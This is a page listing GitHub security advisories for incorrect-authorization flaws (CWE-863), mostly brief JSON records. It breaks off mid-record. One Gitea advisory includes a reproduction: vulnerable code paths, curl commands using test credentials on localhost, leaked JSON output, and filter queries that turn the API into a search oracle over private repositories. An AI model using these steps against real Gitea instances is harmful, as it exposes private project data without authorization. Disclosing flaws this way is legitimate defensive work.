CWE-863
Allowed-with-ReviewIncorrect Authorization
Abstraction: Class · Status: Incomplete
The product performs an authorization check when an actor attempts to access a resource or perform an action, but it does not correctly perform the check.
5730 vulnerabilities reference this CWE, most recent first.
GHSA-FR55-95RR-VM5X
Vulnerability from github – Published: 2026-05-11 18:31 – Updated: 2026-05-11 18:31OpenClaw before 2026.4.20 contains a tool policy bypass vulnerability allowing bundled MCP and LSP tools to circumvent configured tool restrictions. Attackers with local agent access can append restricted tools to the effective tool set after policy filtering, bypassing profile policies, allow/deny lists, owner-only restrictions, sandbox policies, and subagent policies.
{
"affected": [],
"aliases": [
"CVE-2026-44998"
],
"database_specific": {
"cwe_ids": [
"CWE-863"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-05-11T18:16:39Z",
"severity": "LOW"
},
"details": "OpenClaw before 2026.4.20 contains a tool policy bypass vulnerability allowing bundled MCP and LSP tools to circumvent configured tool restrictions. Attackers with local agent access can append restricted tools to the effective tool set after policy filtering, bypassing profile policies, allow/deny lists, owner-only restrictions, sandbox policies, and subagent policies.",
"id": "GHSA-fr55-95rr-vm5x",
"modified": "2026-05-11T18:31:47Z",
"published": "2026-05-11T18:31:47Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-qrp5-gfw2-gxv4"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44998"
},
{
"type": "WEB",
"url": "https://github.com/openclaw/openclaw/commit/0e7a992d3f3155199c1acc2dd9a53c5b3a4d3ada"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/openclaw-tool-policy-bypass-via-bundled-mcp-lsp-tools"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-FR5V-RGRP-GHW9
Vulnerability from github – Published: 2022-05-24 19:20 – Updated: 2022-07-15 00:00An improper access control vulnerability in PAN-OS software enables an attacker with authenticated access to GlobalProtect portals and gateways to connect to the EC2 instance metadata endpoint for VM-Series firewalls hosted on Amazon AWS. Exploitation of this vulnerability enables an attacker to perform any operations allowed by the EC2 role in AWS. This issue impacts: PAN-OS 8.1 versions earlier than PAN-OS 8.1.20 VM-Series firewalls; PAN-OS 9.1 versions earlier than PAN-OS 9.1.11 VM-Series firewalls; PAN-OS 9.0 versions earlier than PAN-OS 9.0.14 VM-Series firewalls; PAN-OS 10.0 versions earlier than PAN-OS 10.0.8 VM-Series firewalls. Prisma Access customers are not impacted by this issue.
{
"affected": [],
"aliases": [
"CVE-2021-3062"
],
"database_specific": {
"cwe_ids": [
"CWE-863"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-11-10T17:15:00Z",
"severity": "HIGH"
},
"details": "An improper access control vulnerability in PAN-OS software enables an attacker with authenticated access to GlobalProtect portals and gateways to connect to the EC2 instance metadata endpoint for VM-Series firewalls hosted on Amazon AWS. Exploitation of this vulnerability enables an attacker to perform any operations allowed by the EC2 role in AWS. This issue impacts: PAN-OS 8.1 versions earlier than PAN-OS 8.1.20 VM-Series firewalls; PAN-OS 9.1 versions earlier than PAN-OS 9.1.11 VM-Series firewalls; PAN-OS 9.0 versions earlier than PAN-OS 9.0.14 VM-Series firewalls; PAN-OS 10.0 versions earlier than PAN-OS 10.0.8 VM-Series firewalls. Prisma Access customers are not impacted by this issue.",
"id": "GHSA-fr5v-rgrp-ghw9",
"modified": "2022-07-15T00:00:16Z",
"published": "2022-05-24T19:20:16Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-3062"
},
{
"type": "WEB",
"url": "https://security.paloaltonetworks.com/CVE-2021-3062"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-FR85-FM4X-7G26
Vulnerability from github – Published: 2022-05-24 17:17 – Updated: 2022-05-24 17:17Veritas APTARE versions prior to 10.4 included code that bypassed the normal login process when specific authentication credentials were provided to the server.
{
"affected": [],
"aliases": [
"CVE-2020-12874"
],
"database_specific": {
"cwe_ids": [
"CWE-863"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2020-05-14T20:15:00Z",
"severity": "HIGH"
},
"details": "Veritas APTARE versions prior to 10.4 included code that bypassed the normal login process when specific authentication credentials were provided to the server.",
"id": "GHSA-fr85-fm4x-7g26",
"modified": "2022-05-24T17:17:54Z",
"published": "2022-05-24T17:17:54Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-12874"
},
{
"type": "WEB",
"url": "https://www.veritas.com/content/support/en_US/security/VTS20-003"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-FRF8-GHGX-64V9
Vulnerability from github – Published: 2022-05-24 17:44 – Updated: 2022-05-24 17:44A vulnerability has been identified in SINEMA Remote Connect Server (All versions < V3.0). Unpriviledged users can access services when guessing the url. An attacker could impact availability, integrity and gain information from logs and templates of the service.
{
"affected": [],
"aliases": [
"CVE-2020-25240"
],
"database_specific": {
"cwe_ids": [
"CWE-863"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-03-15T17:15:00Z",
"severity": "HIGH"
},
"details": "A vulnerability has been identified in SINEMA Remote Connect Server (All versions \u003c V3.0). Unpriviledged users can access services when guessing the url. An attacker could impact availability, integrity and gain information from logs and templates of the service.",
"id": "GHSA-frf8-ghgx-64v9",
"modified": "2022-05-24T17:44:32Z",
"published": "2022-05-24T17:44:32Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-25240"
},
{
"type": "WEB",
"url": "https://cert-portal.siemens.com/productcert/pdf/ssa-731317.pdf"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-FRPW-3H2Q-4JJ6
Vulnerability from github – Published: 2026-07-21 21:52 – Updated: 2026-07-21 21:52Author: Prakhar Porwal
Date: 2026-05-24
Target: Gitea (self-hosted Git service)
Branch tested: main @ b7e95cc48c (development build, go1.26.3)
Component: routers/api/v1/org/action.go (org-level Actions API)
OWASP: API3:2023 Broken Object Property Level Authorization
1. Summary
The org-level Actions REST endpoints
GET /api/v1/orgs/{org}/actions/runs
GET /api/v1/orgs/{org}/actions/jobs
are gated only by reqOrgMembership() + reqToken(). They then call
shared.ListRuns(ctx, ctx.Org.Organization.ID, 0) /
shared.ListJobs(ctx, ctx.Org.Organization.ID, 0, 0, nil), which selects
every action_run / action_run_job row whose repository belongs to the
org — with no per-repository ACL check.
Result: any user who is a member of an organization can enumerate workflow runs and jobs from every repository in that org, including:
- private repositories the caller has no team membership for,
- repositories where the caller has been explicitly denied the
repo.actionsunit, - repositories created by other teams the caller is not part of.
Direct per-repo equivalents (GET /api/v1/repos/{owner}/{repo}/actions/runs,
…/jobs/{job_id}/logs, …/runs/{run_id}/jobs) correctly return 404 for the
same caller — proving the org-level surface is the only path that leaks.
2. Affected Code
2.1 Route registration
routers/api/v1/api.go:1647-1652
addActionsRoutes(
m,
reqOrgMembership(), // reqReaderCheck
reqOrgOwnership(), // reqOwnerCheck
org.NewAction(),
)
2.2 Helper that registers run/job listing
routers/api/v1/api.go:908-941
m.Group("/runs", reqToken(), reqReaderCheck, act.ListWorkflowRuns)
m.Get("/runs", reqToken(), reqReaderCheck, act.ListWorkflowRuns)
m.Get("/jobs", reqToken(), reqReaderCheck, act.ListWorkflowJobs)
reqReaderCheck for org-scope = reqOrgMembership() — bare org membership is
enough; no per-repo permission is consulted.
2.3 Handler
routers/api/v1/org/action.go:595-683
func (Action) ListWorkflowJobs(ctx *context.APIContext) {
shared.ListJobs(ctx, ctx.Org.Organization.ID, 0, 0, nil)
}
func (Action) ListWorkflowRuns(ctx *context.APIContext) {
shared.ListRuns(ctx, ctx.Org.Organization.ID, 0)
}
2.4 Query construction (no ACL)
routers/api/v1/shared/action.go:138-215
opts := actions_model.FindRunOptions{
OwnerID: ownerID, // ← org ID, NOT user ID
RepoID: repoID, // = 0 at org level
ListOptions: listOptions,
}
…
runs, total, err := db.FindAndCount[actions_model.ActionRun](ctx, opts)
models/actions/run_list.go:102-110
func (opts FindRunOptions) ToJoins() []db.JoinFunc {
if opts.OwnerID > 0 {
return []db.JoinFunc{func(sess db.Engine) error {
sess.Join("INNER", "repository",
"repository.id = repo_id AND repository.owner_id = ?", opts.OwnerID)
return nil
}}
}
return nil
}
The join only constrains repository.owner_id = orgID. There is no
access/team_repo/collaboration join and no
access_model.GetDoerRepoPermission(...) filter — every row in the org is
returned.
The same bug applies to shared.ListJobs, which calls
db.FindAndCount[actions_model.ActionRunJob](ctx, FindRunJobOptions{OwnerID: …})
using an analogous repository join.
3. Steps to Reproduce
3.1 Setup
- Org
1st-orgwith one private repo1st-org-repo. - Team
Ownerscontains useradmin(org owner). - Team
1st-teamhas zero repositories assigned (units permissionnonefor actions, no included repos). - User
admin2is a regular user (is_admin = false), member of1st-teamonly — so org member, but no team grants any access to1st-org-repo.
Verified that admin2 lacks direct access:
$ curl -u admin2:admin@123 -w '[%{http_code}]\n' \
http://localhost:3001/api/v1/repos/1st-org/1st-org-repo
{"errors":null,"message":"not found","url":"…"}[404]
$ curl -u admin2:admin@123 -w '[%{http_code}]\n' \
http://localhost:3001/api/v1/orgs/1st-org/repos
[]
[200]
A workflow file was committed to 1st-org-repo/.gitea/workflows/ci.yml to
produce an action_run:
name: ci
on: push
jobs:
hello:
runs-on: ubuntu-latest
steps:
- run: echo "SECRET_INFO_FROM_PRIVATE_REPO"
3.2 Trigger
$ curl -u admin2:admin@123 -w '\n[%{http_code}]\n' \
http://localhost:3001/api/v1/orgs/1st-org/actions/runs
Output (truncated)
{"workflow_runs":[{
"id":7,
"url":"http://localhost:3001/api/v1/repos/1st-org/1st-org-repo/actions/runs/7",
"html_url":"http://localhost:3001/1st-org/1st-org-repo/actions/runs/7",
"display_title":"add workflow",
"path":"ci.yml@refs/heads/main",
"event":"push",
"run_attempt":1,
"run_number":1,
"head_sha":"b7de30c225eaf5c6e5be1fa1a0dafe5045f90d73",
"head_branch":"main",
"status":"queued",
"actor":{"id":1,"login":"admin", … "email":"1+admin@noreply.localhost", …},
"trigger_actor":{ … "login":"admin" … },
"repository":{
"id":4,"name":"1st-org-repo","full_name":"1st-org/1st-org-repo",
"description":"test123",
"private":true,
"clone_url":"http://localhost:3001/1st-org/1st-org-repo.git",
"ssh_url":"prakhar@localhost:1st-org/1st-org-repo.git",
…
}
}],"total_count":1}
[200]
Same primitive for jobs:
$ curl -u admin2:admin@123 -w '\n[%{http_code}]\n' \
http://localhost:3001/api/v1/orgs/1st-org/actions/jobs
{"jobs":[{
"id":7,
"run_id":7,
"name":"hello",
"labels":["ubuntu-latest"],
"head_sha":"b7de30c225eaf5c6e5be1fa1a0dafe5045f90d73",
"head_branch":"main",
"status":"queued",
…
}],"total_count":1}
[200]
3.3 search primitives
All query parameters supported by ListRuns/ListJobs work too — turning the
endpoint into a search oracle over private workflow metadata:
# Find runs on a specific branch in private repos:
curl -u admin2:… "http://localhost:3001/api/v1/orgs/1st-org/actions/runs?branch=main"
# Confirm a given commit SHA exists in any private repo of the org:
curl -u admin2:… "http://localhost:3001/api/v1/orgs/1st-org/actions/runs?head_sha=b7de30c2…"
# Filter by actor:
curl -u admin2:… "http://localhost:3001/api/v1/orgs/1st-org/actions/runs?actor=admin"
# Filter by event/status:
curl -u admin2:… "http://localhost:3001/api/v1/orgs/1st-org/actions/runs?event=push&status=failure"
All return matching rows from private repos in the org.
4. Impact
A low-privileged authenticated org member (no team, no repo permission, no admin) gains, for every private repository in the org:
| Field leaked | Why it matters |
|---|---|
repository.full_name, description, private, clone URLs |
Existence + topology of private repos |
head_sha, head_branch |
Confirms commits / branch names exist in private repos |
path (workflow file) |
Reveals workflow YAML filenames |
event, display_title |
Commit messages / event types |
actor, trigger_actor |
Internal contributor identities incl. noreply emails |
created_at, started_at |
Activity timing / CI cadence |
Pagination + ?head_sha=/?branch=/?actor= filters |
Full search oracle over private workflow history |
Real-world consequences:
- Org reconnaissance — confirms existence of private projects, names, activity patterns; commit messages and branch names often reveal product plans, security fix windows, or release schedules.
- Insider-threat amplification — any contractor / interviewee / OSS contributor invited to a low-permission team can mine the rest of the org's CI history.
- Cross-team violation — when an org isolates internal projects via
teams (e.g.
security/vsinfra/teams), this surface flatly bypasses that boundary. - Pivot data — commit SHAs disclosed here unlock subsequent endpoints that do check ACLs but accept SHA inputs (e.g. some package / archive download paths in third-party tooling that just trusts a SHA).
The same primitive is exposed regardless of token scope, as long as the token
has organization scope, the user is an org member, and the org has any
private repos with action runs.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "code.gitea.io/gitea"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.27.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-57897"
],
"database_specific": {
"cwe_ids": [
"CWE-200",
"CWE-863"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-21T21:52:02Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "**Author:** Prakhar Porwal\n**Date:** 2026-05-24\n**Target:** Gitea (self-hosted Git service)\n**Branch tested:** `main` @ `b7e95cc48c` (development build, go1.26.3)\n**Component:** `routers/api/v1/org/action.go` (org-level Actions API)\n**OWASP:** API3:2023 Broken Object Property Level Authorization\n\n---\n\n## 1. Summary\n\nThe org-level Actions REST endpoints\n\n```\nGET /api/v1/orgs/{org}/actions/runs\nGET /api/v1/orgs/{org}/actions/jobs\n```\n\nare gated only by **`reqOrgMembership()`** + `reqToken()`. They then call\n`shared.ListRuns(ctx, ctx.Org.Organization.ID, 0)` /\n`shared.ListJobs(ctx, ctx.Org.Organization.ID, 0, 0, nil)`, which selects\n**every** `action_run` / `action_run_job` row whose repository belongs to the\norg \u2014 with **no per-repository ACL check**.\n\nResult: any user who is a member of an organization can enumerate workflow\nruns and jobs from **every repository in that org**, including:\n\n* private repositories the caller has no team membership for,\n* repositories where the caller has been explicitly denied the `repo.actions`\n unit,\n* repositories created by other teams the caller is not part of.\n\nDirect per-repo equivalents (`GET /api/v1/repos/{owner}/{repo}/actions/runs`,\n`\u2026/jobs/{job_id}/logs`, `\u2026/runs/{run_id}/jobs`) correctly return `404` for the\nsame caller \u2014 proving the org-level surface is the only path that leaks.\n\n---\n\n## 2. Affected Code\n\n### 2.1 Route registration\n\n`routers/api/v1/api.go:1647-1652`\n\n```go\naddActionsRoutes(\n m,\n reqOrgMembership(), // reqReaderCheck\n reqOrgOwnership(), // reqOwnerCheck\n org.NewAction(),\n)\n```\n\n### 2.2 Helper that registers run/job listing\n\n`routers/api/v1/api.go:908-941`\n\n```go\nm.Group(\"/runs\", reqToken(), reqReaderCheck, act.ListWorkflowRuns)\nm.Get(\"/runs\", reqToken(), reqReaderCheck, act.ListWorkflowRuns)\nm.Get(\"/jobs\", reqToken(), reqReaderCheck, act.ListWorkflowJobs)\n```\n\n`reqReaderCheck` for org-scope = `reqOrgMembership()` \u2014 bare org membership is\nenough; no per-repo permission is consulted.\n\n### 2.3 Handler\n\n`routers/api/v1/org/action.go:595-683`\n\n```go\nfunc (Action) ListWorkflowJobs(ctx *context.APIContext) {\n shared.ListJobs(ctx, ctx.Org.Organization.ID, 0, 0, nil)\n}\n\nfunc (Action) ListWorkflowRuns(ctx *context.APIContext) {\n shared.ListRuns(ctx, ctx.Org.Organization.ID, 0)\n}\n```\n\n### 2.4 Query construction (no ACL)\n\n`routers/api/v1/shared/action.go:138-215`\n\n```go\nopts := actions_model.FindRunOptions{\n OwnerID: ownerID, // \u2190 org ID, NOT user ID\n RepoID: repoID, // = 0 at org level\n ListOptions: listOptions,\n}\n\u2026\nruns, total, err := db.FindAndCount[actions_model.ActionRun](ctx, opts)\n```\n\n`models/actions/run_list.go:102-110`\n\n```go\nfunc (opts FindRunOptions) ToJoins() []db.JoinFunc {\n if opts.OwnerID \u003e 0 {\n return []db.JoinFunc{func(sess db.Engine) error {\n sess.Join(\"INNER\", \"repository\",\n \"repository.id = repo_id AND repository.owner_id = ?\", opts.OwnerID)\n return nil\n }}\n }\n return nil\n}\n```\n\nThe join only constrains `repository.owner_id = orgID`. There is no\n`access`/`team_repo`/`collaboration` join and no\n`access_model.GetDoerRepoPermission(...)` filter \u2014 every row in the org is\nreturned.\n\nThe same bug applies to `shared.ListJobs`, which calls\n`db.FindAndCount[actions_model.ActionRunJob](ctx, FindRunJobOptions{OwnerID: \u2026})`\nusing an analogous repository join.\n\n---\n\n## 3. Steps to Reproduce\n\n### 3.1 Setup\n\n* Org **`1st-org`** with one **private** repo `1st-org-repo`.\n* Team **`Owners`** contains user **`admin`** (org owner).\n* Team **`1st-team`** has **zero repositories** assigned (units permission\n `none` for actions, no included repos).\n* User **`admin2`** is a regular user (`is_admin = false`), member of\n `1st-team` only \u2014 so org member, but **no team grants any access to\n `1st-org-repo`**.\n\nVerified that admin2 lacks direct access:\n\n```bash\n$ curl -u admin2:admin@123 -w \u0027[%{http_code}]\\n\u0027 \\\n http://localhost:3001/api/v1/repos/1st-org/1st-org-repo\n{\"errors\":null,\"message\":\"not found\",\"url\":\"\u2026\"}[404]\n\n$ curl -u admin2:admin@123 -w \u0027[%{http_code}]\\n\u0027 \\\n http://localhost:3001/api/v1/orgs/1st-org/repos\n[]\n[200]\n```\n\nA workflow file was committed to `1st-org-repo/.gitea/workflows/ci.yml` to\nproduce an `action_run`:\n\n```yaml\nname: ci\non: push\njobs:\n hello:\n runs-on: ubuntu-latest\n steps:\n - run: echo \"SECRET_INFO_FROM_PRIVATE_REPO\"\n```\n\n### 3.2 Trigger\n\n```bash\n$ curl -u admin2:admin@123 -w \u0027\\n[%{http_code}]\\n\u0027 \\\n http://localhost:3001/api/v1/orgs/1st-org/actions/runs\n```\n\n**Output (truncated)**\n\n```json\n{\"workflow_runs\":[{\n \"id\":7,\n \"url\":\"http://localhost:3001/api/v1/repos/1st-org/1st-org-repo/actions/runs/7\",\n \"html_url\":\"http://localhost:3001/1st-org/1st-org-repo/actions/runs/7\",\n \"display_title\":\"add workflow\",\n \"path\":\"ci.yml@refs/heads/main\",\n \"event\":\"push\",\n \"run_attempt\":1,\n \"run_number\":1,\n \"head_sha\":\"b7de30c225eaf5c6e5be1fa1a0dafe5045f90d73\",\n \"head_branch\":\"main\",\n \"status\":\"queued\",\n \"actor\":{\"id\":1,\"login\":\"admin\", \u2026 \"email\":\"1+admin@noreply.localhost\", \u2026},\n \"trigger_actor\":{ \u2026 \"login\":\"admin\" \u2026 },\n \"repository\":{\n \"id\":4,\"name\":\"1st-org-repo\",\"full_name\":\"1st-org/1st-org-repo\",\n \"description\":\"test123\",\n \"private\":true,\n \"clone_url\":\"http://localhost:3001/1st-org/1st-org-repo.git\",\n \"ssh_url\":\"prakhar@localhost:1st-org/1st-org-repo.git\",\n \u2026\n }\n}],\"total_count\":1}\n[200]\n```\n\nSame primitive for jobs:\n\n```bash\n$ curl -u admin2:admin@123 -w \u0027\\n[%{http_code}]\\n\u0027 \\\n http://localhost:3001/api/v1/orgs/1st-org/actions/jobs\n{\"jobs\":[{\n \"id\":7,\n \"run_id\":7,\n \"name\":\"hello\",\n \"labels\":[\"ubuntu-latest\"],\n \"head_sha\":\"b7de30c225eaf5c6e5be1fa1a0dafe5045f90d73\",\n \"head_branch\":\"main\",\n \"status\":\"queued\",\n \u2026\n}],\"total_count\":1}\n[200]\n```\n\n### 3.3 search primitives\n\nAll query parameters supported by `ListRuns`/`ListJobs` work too \u2014 turning the\nendpoint into a **search oracle** over private workflow metadata:\n\n```bash\n# Find runs on a specific branch in private repos:\ncurl -u admin2:\u2026 \"http://localhost:3001/api/v1/orgs/1st-org/actions/runs?branch=main\"\n\n# Confirm a given commit SHA exists in any private repo of the org:\ncurl -u admin2:\u2026 \"http://localhost:3001/api/v1/orgs/1st-org/actions/runs?head_sha=b7de30c2\u2026\"\n\n# Filter by actor:\ncurl -u admin2:\u2026 \"http://localhost:3001/api/v1/orgs/1st-org/actions/runs?actor=admin\"\n\n# Filter by event/status:\ncurl -u admin2:\u2026 \"http://localhost:3001/api/v1/orgs/1st-org/actions/runs?event=push\u0026status=failure\"\n```\n\nAll return matching rows from private repos in the org.\n\n\n---\n\n\n## 4. Impact\n\nA low-privileged authenticated org member (no team, no repo permission, no\nadmin) gains, for every private repository in the org:\n\n| Field leaked | Why it matters |\n|-------------------------------|------------------------------------------------------|\n| `repository.full_name`, `description`, `private`, clone URLs | Existence + topology of private repos |\n| `head_sha`, `head_branch` | Confirms commits / branch names exist in private repos |\n| `path` (workflow file) | Reveals workflow YAML filenames |\n| `event`, `display_title` | Commit messages / event types |\n| `actor`, `trigger_actor` | Internal contributor identities incl. noreply emails |\n| `created_at`, `started_at` | Activity timing / CI cadence |\n| Pagination + `?head_sha=`/`?branch=`/`?actor=` filters | Full **search oracle** over private workflow history |\n\nReal-world consequences:\n\n1. **Org reconnaissance** \u2014 confirms existence of private projects, names,\n activity patterns; commit messages and branch names often reveal product\n plans, security fix windows, or release schedules.\n2. **Insider-threat amplification** \u2014 any contractor / interviewee / OSS\n contributor invited to a low-permission team can mine the rest of the\n org\u0027s CI history.\n3. **Cross-team violation** \u2014 when an org isolates internal projects via\n teams (e.g. `security/` vs `infra/` teams), this surface flatly bypasses\n that boundary.\n4. **Pivot data** \u2014 commit SHAs disclosed here unlock subsequent endpoints\n that *do* check ACLs but accept SHA inputs (e.g. some package / archive\n download paths in third-party tooling that just trusts a SHA).\n\nThe same primitive is exposed regardless of token scope, as long as the token\nhas `organization` scope, the user is an org member, and the org has any\nprivate repos with action runs.\n\n---",
"id": "GHSA-frpw-3h2q-4jj6",
"modified": "2026-07-21T21:52:02Z",
"published": "2026-07-21T21:52:02Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/go-gitea/gitea/security/advisories/GHSA-frpw-3h2q-4jj6"
},
{
"type": "PACKAGE",
"url": "https://github.com/go-gitea/gitea"
},
{
"type": "WEB",
"url": "https://github.com/go-gitea/gitea/releases/tag/v1.27.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Gitea: Cross-Repo Information Disclosure via Org-Level Actions Run/Job APIs"
}
GHSA-FRQM-X2FH-HCWR
Vulnerability from github – Published: 2022-08-26 00:03 – Updated: 2022-09-03 00:00An issue was discovered in Blue Prism Enterprise 6.0 through 7.01. In a misconfigured environment that exposes the Blue Prism Application server, it is possible for an authenticated user to reverse engineer the Blue Prism software and circumvent access controls for unintended functionality. An attacker can abuse the CreateProcessAutosave() method to inject their own functionality into a development process. If (upon a warning) a user decides to recover unsaved work by using the last saved version, the malicious code could enter the workflow. Should the process action stages not be fully reviewed before publishing, this could result in the malicious code being run in a production environment.
{
"affected": [],
"aliases": [
"CVE-2022-36115"
],
"database_specific": {
"cwe_ids": [
"CWE-863"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-08-25T23:15:00Z",
"severity": "HIGH"
},
"details": "An issue was discovered in Blue Prism Enterprise 6.0 through 7.01. In a misconfigured environment that exposes the Blue Prism Application server, it is possible for an authenticated user to reverse engineer the Blue Prism software and circumvent access controls for unintended functionality. An attacker can abuse the CreateProcessAutosave() method to inject their own functionality into a development process. If (upon a warning) a user decides to recover unsaved work by using the last saved version, the malicious code could enter the workflow. Should the process action stages not be fully reviewed before publishing, this could result in the malicious code being run in a production environment.",
"id": "GHSA-frqm-x2fh-hcwr",
"modified": "2022-09-03T00:00:18Z",
"published": "2022-08-26T00:03:28Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-36115"
},
{
"type": "WEB",
"url": "https://blueprism.com"
},
{
"type": "WEB",
"url": "https://community.blueprism.com/discussion/security-vulnerability-notification-ssc-blue-prism-enterprise"
},
{
"type": "WEB",
"url": "https://portal.blueprism.com/security-vulnerabilities-august-2022"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-FRWC-7VFJ-P382
Vulnerability from github – Published: 2022-05-24 19:10 – Updated: 2022-07-13 00:01A security flaw in the 'owned' function of a smart contract implementation for RobotCoin (RBTC), a tradeable Ethereum ERC20 token, allows attackers to hijack victim accounts and arbitrarily increase the digital supply of assets.
{
"affected": [],
"aliases": [
"CVE-2021-34272"
],
"database_specific": {
"cwe_ids": [
"CWE-863"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-08-03T22:15:00Z",
"severity": "HIGH"
},
"details": "A security flaw in the \u0027owned\u0027 function of a smart contract implementation for RobotCoin (RBTC), a tradeable Ethereum ERC20 token, allows attackers to hijack victim accounts and arbitrarily increase the digital supply of assets.",
"id": "GHSA-frwc-7vfj-p382",
"modified": "2022-07-13T00:01:26Z",
"published": "2022-05-24T19:10:02Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-34272"
},
{
"type": "WEB",
"url": "https://github.com/MRdoulestar/SC-RCVD/blob/main/Vulnerabilities/RobotCoin.md"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-FV3C-XWJM-JFXW
Vulnerability from github – Published: 2024-01-16 09:30 – Updated: 2025-06-11 18:35Authorization vulnerability in the BootLoader module. Successful exploitation of this vulnerability may affect service integrity.
{
"affected": [],
"aliases": [
"CVE-2023-52111"
],
"database_specific": {
"cwe_ids": [
"CWE-287",
"CWE-863"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-01-16T08:15:08Z",
"severity": "HIGH"
},
"details": "Authorization vulnerability in the BootLoader module. Successful exploitation of this vulnerability may affect service integrity.",
"id": "GHSA-fv3c-xwjm-jfxw",
"modified": "2025-06-11T18:35:37Z",
"published": "2024-01-16T09:30:18Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-52111"
},
{
"type": "WEB",
"url": "https://consumer.huawei.com/en/support/bulletin/2024/1"
},
{
"type": "WEB",
"url": "https://device.harmonyos.com/en/docs/security/update/security-bulletins-202401-0000001799925977"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-FV48-HJHP-94C7
Vulnerability from github – Published: 2021-07-26 21:20 – Updated: 2021-07-26 21:12The REST API functions in TeamPass 2.1.27.36 allow any user with a valid API token to bypass IP address whitelist restrictions via an X-Forwarded-For client HTTP header to the getIp function.
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "nilsteampassnet/teampass"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "2.1.27.36"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2020-12477"
],
"database_specific": {
"cwe_ids": [
"CWE-863"
],
"github_reviewed": true,
"github_reviewed_at": "2021-07-26T21:12:18Z",
"nvd_published_at": "2020-04-29T22:15:00Z",
"severity": "HIGH"
},
"details": "The REST API functions in TeamPass 2.1.27.36 allow any user with a valid API token to bypass IP address whitelist restrictions via an X-Forwarded-For client HTTP header to the getIp function.",
"id": "GHSA-fv48-hjhp-94c7",
"modified": "2021-07-26T21:12:18Z",
"published": "2021-07-26T21:20:38Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-12477"
},
{
"type": "WEB",
"url": "https://github.com/nilsteampassnet/TeamPass/issues/2761"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Incorrect Authorization in TeamPass"
}
GHSA-FV54-QXCJ-F2HF
Vulnerability from github – Published: 2022-05-24 17:27 – Updated: 2022-05-24 17:27Clustered Data ONTAP versions prior to 9.3P19, 9.5P14, 9.6P9 and 9.7 are susceptible to a vulnerability which when successfully exploited could lead to addition or modification of data or disclosure of sensitive information.
{
"affected": [],
"aliases": [
"CVE-2020-8576"
],
"database_specific": {
"cwe_ids": [
"CWE-863"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2020-09-02T20:15:00Z",
"severity": "MODERATE"
},
"details": "Clustered Data ONTAP versions prior to 9.3P19, 9.5P14, 9.6P9 and 9.7 are susceptible to a vulnerability which when successfully exploited could lead to addition or modification of data or disclosure of sensitive information.",
"id": "GHSA-fv54-qxcj-f2hf",
"modified": "2022-05-24T17:27:17Z",
"published": "2022-05-24T17:27:17Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-8576"
},
{
"type": "WEB",
